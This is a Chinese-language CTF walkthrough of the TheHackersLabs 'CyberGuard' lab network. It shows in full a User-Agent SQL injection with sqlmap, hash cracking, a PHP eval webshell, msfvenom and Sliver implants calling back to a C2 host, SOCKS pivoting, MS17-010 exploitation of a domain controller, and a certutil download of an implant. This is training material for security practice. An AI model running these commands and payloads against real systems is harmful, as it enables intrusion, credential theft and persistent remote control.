CyberGuard

https://labs.thehackerslabs.com/machine/25

一共有四台机子：第一台是做路由器/防火墙。其余三台内网主机。

Recon

PortScan

➜  CyberGuard nmap -sn 10.0.2.0/24                   
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-27 21:11 CST
Nmap scan report for 10.0.2.1
Host is up (0.00072s latency).
MAC Address: 0A:00:27:00:00:11 (Unknown)
Nmap scan report for 10.0.2.10
Host is up (0.00047s latency).
MAC Address: 08:00:27:B3:85:B4 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.2.20
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.21 seconds

➜  CyberGuard nmap -sT -min-rate 10000 -p- 10.0.2.10
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-27 21:11 CST
Nmap scan report for 10.0.2.10
Host is up (0.0013s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 08:00:27:B3:85:B4 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.54 seconds

➜  CyberGuard nmap -sT -A -p 80 10.0.2.10                                                       
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-27 21:12 CST
Nmap scan report for 10.0.2.10
Host is up (0.00056s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx
|_http-title: Site doesn't have a title (application/octet-stream, text/plain; charset=UTF-8).
MAC Address: 08:00:27:B3:85:B4 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): FreeBSD 11.X (92%)
OS CPE: cpe:/o:freebsd:freebsd:11.2
Aggressive OS guesses: FreeBSD 11.2-RELEASE (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.56 ms 10.0.2.10

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.56 seconds

枚举

HTTP 服务

目录爆破，这里扫描久了会被 ban 掉

➜  CyberGuard gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,zip -u http://10.0.2.10
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.0.2.10
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 274]
/index.php            (Status: 200) [Size: 1048]
/search               (Status: 200) [Size: 2046]
/admin                (Status: 302) [Size: 378] [--> http://10.0.2.10/admin/auth/login]
/up                   (Status: 200) [Size: 2130]

这个 query 和输出结果感觉有股熟悉的味

sqlmap 跑一波

sqlmap -r packet -batch --level 3 --risk 3

真跑出来了，在 UA 中存在注入点

SQL Injection

使用 sqlmap 直接全给爆出来

current database: 'cyberguard
current user: 'ian@localhost'

+------------------------+
| cache                  |
| admin_menu             |
| admin_operation_log    |
| admin_permissions      |
| admin_role_menu        |
| admin_role_permissions |
| admin_role_users       |
| admin_roles            |
| admin_user_permissions |
| admin_users            |
| blacklist_user_agents  |
| cache_locks            |
| failed_jobs            |
| job_batches            |
| jobs                   |
| migrations             |
| password_reset_tokens  |
| sessions               |
| users                  |
+------------------------+

# admin_user
+----+---------------+--------+--------------------------------------------------------------+----------+---------------------+---------------------+----------------+
| id | name          | avatar | password                                                     | username | created_at          | updated_at          | remember_token |
+----+---------------+--------+--------------------------------------------------------------+----------+---------------------+---------------------+----------------+
| 1  | Administrator | NULL   | $2y$12$fN2GC9IgrwHneBpWIY8WwevYshq/qkEhoE6XhU7ClZInAhbW2YltK | admin    | 2024-10-01 17:41:30 | 2024-10-09 02:31:19 | NULL           |
+----+---------------+--------+--------------------------------------------------------------+----------+---------------------+---------------------+----------------+

爆破一下密码

➜  CyberGuard john --wordlist=/usr/share/wordlists/rockyou.txt hash       
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
killer           (?)     
1g 0:00:00:04 DONE (2025-07-27 21:48) 0.2415g/s 34.78p/s 34.78c/s 34.78C/s shadow..sandra
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

得到明文密码 killer

后台利用

来到网站后台尝试进行登录

成功进入后台

后台里面有个命令执行的功能（图中的 shell）

成功执行命令

再拿 /etc/passwd 的信息，能知道 ian 用户是存在的

ian:x:1000:1000:ian,,,:/home/ian:/bin/bash

尝试 1 ❌

尝试反弹 shell ，这里使用 nc 和 /bin/bash 都无法弹出来，一直在加载

后台还有一个上传功能点，但是没找到上传的文件夹在哪

尝试使用命令行来找到上传的文件夹在哪

find / -name 'result.php' 2>/dev/null

通过 find 命令能找到存放在 /var/www/cyberguard/storage/app/private/result.php

再看一下当前目录在哪，在 /var/www/cyberguard/public

我们应该是没有办法切换过去

所以这里尝试直接写入webshell

echo '<?php eval($_POST["x"]);phpinfo();?>' > test.php

可以执行命令

但结果还是无法进行反弹 shell ，被阻止

尝试 2 ❌

尝试使用 MSF 来拿到 shell

➜  CyberGuard msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.2.20 LPORT=4444 -f elf -o sunset
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: sunset

上传后在命令执行窗口执行如下命令

chmod +x /var/www/cyberguard/storage/app/private/sunset
/var/www/cyberguard/storage/app/private/sunset

这里还尝试很多种payload ，例如cmd/linux/http/x64/meterpreter_reverse_http 等

但是结果和在 WebShell 反弹一样，被阻止了

尝试 3 ✅

这里尝试使用 sliver

https://github.com/BishopFox/sliver

sliver 有很高的隐蔽性和免杀性能，并且也支持其他的协议

➜  CyberGuard sliver
Connecting to localhost:31337 ...

    ███████╗██╗     ██╗██╗   ██╗███████╗██████╗
    ██╔════╝██║     ██║██║   ██║██╔════╝██╔══██╗
    ███████╗██║     ██║██║   ██║█████╗  ██████╔╝
    ╚════██║██║     ██║╚██╗ ██╔╝██╔══╝  ██╔══██╗
    ███████║███████╗██║ ╚████╔╝ ███████╗██║  ██║
    ╚══════╝╚══════╝╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

All hackers gain persist
[*] Server v1.5.43 - e116a5ec3d26e8582348a29cfd251f915ce4a405
[*] Welcome to the sliver shell, please type 'help' for options

[*] Check for updates with the 'update' command

sliver >

使用 WireGuard 协议生成植入物并监听

sliver > generate --wg 10.0.2.20 -o linux -a amd64 -f binary

[*] Generated unique ip for wg peer tun interface: 100.64.0.2
[*] Generating new linux/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 1m12s
[*] Implant saved to /root/Desktop/TheHackersLabs/CyberGuard/FORMIDABLE_FLOOR

sliver > wg

[*] Starting Wireguard listener ...
[*] Successfully started job #1

上传到靶机并运行

chmod +x /var/www/cyberguard/storage/app/private/FORMIDABLE_FLOOR
/var/www/cyberguard/storage/app/private/FORMIDABLE_FLOOR

然后可以在 sliver 服务端中看到连接上去了

和 MSF 差不多的操作

内网渗透

信息收集

我们查看 databases.php

'default' => [
            'url' => env('REDIS_URL'),
            'host' => env('REDIS_HOST', '127.0.0.1'),
            'username' => env('REDIS_USERNAME'),
            'password' => env('REDIS_PASSWORD'),
            'port' => env('REDIS_PORT', '6379'),
            'database' => env('REDIS_DB', '0'),
        ],

发现数据库凭据存放在环境变量中

DB_PASSWORD=ZqBHR4MZ<f*+bv(J
REDIS_HOST=127.0.0.1
DB_HOST=127.0.0.1
QUEUE_CONNECTION=database

得到一串密码 ZqBHR4MZ<f*+bv(J

经过测试我们知道密码是 ian 账户的

[*] Started remote shell with pid 1069

www-data@TheHackersLabs-2-Cyberguard:/var/www/cyberguard/config$ su ian
Password: 
ian@TheHackersLabs-2-Cyberguard:/var/www/cyberguard/config$

查看正在监听的端口

ian@TheHackersLabs-2-Cyberguard:~$ ss -tulpn
Netid State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess                                             
udp   UNCONN 0      0            0.0.0.0:59645      0.0.0.0:*                                                       
udp   UNCONN 0      0            0.0.0.0:51236      0.0.0.0:*    users:(("ss",pid=1098,fd=7),("bash",pid=1082,fd=7))
udp   UNCONN 0      0               [::]:51236         [::]:*    users:(("ss",pid=1098,fd=3),("bash",pid=1082,fd=3))
tcp   LISTEN 0      128          0.0.0.0:22         0.0.0.0:*                                                       
tcp   LISTEN 0      80         127.0.0.1:3306       0.0.0.0:*                                                       
tcp   LISTEN 0      128             [::]:22            [::]:*                                                       
tcp   LISTEN 0      511                *:8080             *:*

查看 ip ，得到内网网段 10.20.30.0/24

www-data@TheHackersLabs-2-Cyberguard:/var/www/cyberguard/config$ ip add
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute 
       valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:f1:07:77 brd ff:ff:ff:ff:ff:ff
    inet 10.20.30.11/24 brd 10.20.30.255 scope global enp0s3
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fef1:777/64 scope link 
       valid_lft forever preferred_lft forever

搭建代理

方便渗透内网主机，这里使用 sliver 搭建代理

文档链接：https://sliver.sh/docs?name=Reverse+SOCKS

这里使用 WireGuard SOCKS5

sliver (FORMIDABLE_FLOOR) > info 

        Session ID: 160113c3-b76b-4b38-a5eb-a03335a7dbb8
              Name: FORMIDABLE_FLOOR
          Hostname: TheHackersLabs-2-Cyberguard
              UUID: ed3dcaa8-d130-48be-8973-73101c3c3c31
          Username: www-data
               UID: 33
               GID: 33
               PID: 1053
                OS: linux
           Version: Linux TheHackersLabs-2-Cyberguard 6.1.0-25-amd64
            Locale: C
              Arch: amd64
         Active C2: wg://10.0.2.20:53
    Remote Address: 100.64.0.3:65311
         Proxy URL: 
Reconnect Interval: 1m0s
     First Contact: Mon Jul 28 12:49:33 CST 2025 (40m46s ago)
      Last Checkin: Mon Jul 28 13:28:31 CST 2025 (1m48s ago)

创建 WireGuard 客户端配置

sliver (FORMIDABLE_FLOOR) > wg-config

[*] New client config:[Interface]
Address = 100.64.0.6/16
ListenPort = 51902
PrivateKey = MLVcslgYICxAUJMnhPF/h6LAiqOfjh1vF38pZdOt20w=
MTU = 1420

[Peer]
PublicKey = q36gtpUVlt9b9vCe4ZuM8+tU7zrDmN9SCAuSQ2jTYgQ=
AllowedIPs = 100.64.0.0/16
Endpoint = 10.0.2.20:53

使用 wg-quick 进行连接

➜  CyberGuard vim wgsocks.conf

➜  CyberGuard wg-quick up wgsocks            
[#] ip link add wgsocks type wireguard
[#] wg setconf wgsocks /dev/fd/63
[#] ip -4 address add 100.64.0.6/16 dev wgsocks
[#] ip link set mtu 1420 up dev wgsocks

再在 sliver 中运行 wg-socks

sliver (FORMIDABLE_FLOOR) > wg-socks start

[*] Started SOCKS server on 100.64.0.3:3090

编辑 /etc/proxychains4.conf 文件

测试连接，使用代理连接 10.20.30.11 的 SSH 服务

当前用户可以拿到 user.txt

ian@TheHackersLabs-2-Cyberguard:~$ cat user.txt 
1850axxxxxxxxxxxxxxxxxxxxxxxxx

10.20.30.11

查看 sudo 权限

ian@TheHackersLabs-2-Cyberguard:~$ sudo -l
Matching Defaults entries for ian on TheHackersLabs-2-Cyberguard:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User ian may run the following commands on TheHackersLabs-2-Cyberguard:
    (ALL) NOPASSWD: /usr/bin/tcpdump, /usr/sbin/arpspoof

我这里打算进行提权，但是tcpdump 并无法进行运行脚本，索性先放掉

这里上传 fscan 进行内网枚举

sliver (FORMIDABLE_FLOOR) > upload ../../Tools/fscan/fscan_1.8.4

[*] Wrote file to /var/www/cyberguard/config/fscan_1.8.4

指定 IP 范围 10.20.30.1-255

ian@TheHackersLabs-2-Cyberguard:~$ ./fscan_1.8.4 -h 10.20.30.1-255

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 10.20.30.11     is alive
(icmp) Target 10.20.30.1      is alive
(icmp) Target 10.20.30.3      is alive
(icmp) Target 10.20.30.15     is alive
[*] Icmp alive hosts len is: 4
10.20.30.3:445 open
10.20.30.3:139 open
10.20.30.3:135 open
10.20.30.1:80 open
10.20.30.15:22 open
10.20.30.11:22 open
10.20.30.11:8080 open
10.20.30.3:88 open
10.20.30.1:8090 open
[*] alive ports len is: 9
start vulscan
[+] MS17-010 10.20.30.3 (Windows Server 2016 Datacenter 14393)
[*] NetInfo 
[*]10.20.30.3
   [->]WIN-VRU3GG3DPLJ
   [->]10.20.30.3
[*] NetBios 10.20.30.3      [+] DC:WIN-VRU3GG3DPLJ.cyberguard.thl      Windows Server 2016 Datacenter 14393
[*] WebTitle http://10.20.30.11:8080   code:200 len:1045   title:Join Our Cybersecurity Team
[*] WebTitle http://10.20.30.1         code:200 len:1039   title:Join Our Cybersecurity Team
[*] WebTitle http://10.20.30.1:8090    code:200 len:2784   title:Login | OPNsense

MS17-010 ✅

竟然枚举出来了 10.20.30.3 存在永恒之蓝（MS17-010），尝试一波

proxychains4 -q msfconsole

msf6 auxiliary(admin/smb/ms17_010_command) > run
[*] 10.20.30.3:445        - Target OS: Windows Server 2016 Datacenter 14393
[*] 10.20.30.3:445        - Built a write-what-where primitive...
[+] 10.20.30.3:445        - Overwrite complete... SYSTEM session obtained!
[+] 10.20.30.3:445        - Service start timed out, OK if running a command or non-service executable...
[*] 10.20.30.3:445        - Getting the command output...
[*] 10.20.30.3:445        - Executing cleanup...
[+] 10.20.30.3:445        - Cleanup was successful
[+] 10.20.30.3:445        - Command completed successfully!
[*] 10.20.30.3:445        - Output for "whoami":

nt authority\system

[*] 10.20.30.3:445        - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

然后可以直接读取 root.txt

msf6 auxiliary(admin/smb/ms17_010_command) > set ComMAND type C:\\users\\Administrador\\Documents\\root.txt
ComMAND => type C:\users\Administrador\Documents\root.txt
msf6 auxiliary(admin/smb/ms17_010_command) > run
[*] 10.20.30.3:445        - Target OS: Windows Server 2016 Datacenter 14393
[*] 10.20.30.3:445        - Built a write-what-where primitive...
[+] 10.20.30.3:445        - Overwrite complete... SYSTEM session obtained!
[+] 10.20.30.3:445        - Service start timed out, OK if running a command or non-service executable...
[*] 10.20.30.3:445        - Getting the command output...
[*] 10.20.30.3:445        - Executing cleanup...
[+] 10.20.30.3:445        - Cleanup was successful
[+] 10.20.30.3:445        - Command completed successfully!
[*] 10.20.30.3:445        - Output for "type C:\users\Administrador\Documents\root.txt":

0257xxxxxxxxxxxxxxxxxxxxxxxxx

[*] 10.20.30.3:445        - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

拿 shell 的话可以生成 Windows 植入物

sliver (FORMIDABLE_FLOOR) > generate -o windows --wg 10.0.2.20 -a amd64 -f exe 

[*] Generated unique ip for wg peer tun interface: 100.64.0.7
[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 1m1s
[*] Implant saved to /root/Desktop/TheHackersLabs/CyberGuard/LONG_PRIVATE.exe

上传到 10.20.30.11 并开启 HTTP 服务器

ian@TheHackersLabs-2-Cyberguard:~$ python3 -m http.server 2131
Serving HTTP on 0.0.0.0 port 2131 (http://0.0.0.0:2131/) ...

然后通过 certutil.exe 下载到 c 盘

msf6 auxiliary(admin/smb/ms17_010_command) > set command "certutil.exe -urlcache -split -f http://10.20.30.11:2131/LONG_PRIVATE.exe C:\\LONG_PRIVATE.exe"
"
msf6 auxiliary(admin/smb/ms17_010_command) > run
[*] 10.20.30.3:445        - Target OS: Windows Server 2016 Datacenter 14393
[*] 10.20.30.3:445        - Built a write-what-where primitive...
[+] 10.20.30.3:445        - Overwrite complete... SYSTEM session obtained!
[+] 10.20.30.3:445        - Service start timed out, OK if running a command or non-service executable...
[*] 10.20.30.3:445        - Getting the command output...
[*] 10.20.30.3:445        - Executing cleanup...
[+] 10.20.30.3:445        - Cleanup was successful
[+] 10.20.30.3:445        - Command completed successfully!
[*] 10.20.30.3:445        - Output for "certutil.exe -urlcache -split -f http://10.20.30.11:2131/LONG_PRIVATE.exe":

****  En lnea  ****
  000000  ...
  1280000
CertUtil: -URLCache comando completado correctamente.

[*] 10.20.30.3:445        - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

之后运行 LONG_PRIVATE.exe

msf6 auxiliary(admin/smb/ms17_010_command) > set command "C:\\LONG_PRIVATE.exe"
msf6 auxiliary(admin/smb/ms17_010_command) > run

然后就拿到 shell 了

sliver (LONG_PRIVATE) > shell

? This action is bad OPSEC, are you an adult? Yes

[*] Wait approximately 10 seconds after exit, and press <enter> to continue
[*] Opening shell tunnel (EOF to exit) ...

[*] Started remote shell with pid 1292

PS C:\Windows\system32> whoami
whoami
nt authority\system

总结

蛮难的，在弹 shell的时候卡了很久（这里看了WP才知道要用sliver弹）

打完之后发现，预期解并不是使用 MS17-010

而是在另外一台 Linux 主机中监听数据包能得到 Victor 用户的 Net-NTLM-hash ，之后再使用 certipy 进行操作

预期解WP：https://blog.thehackerslabs.com/resolucion-del-ctf-cyberguard/

还有学习到了 sliver 这个 C2 框架，感觉还不错，不用自己再端口转发才能上线

TheHackersLabs - CyberGuard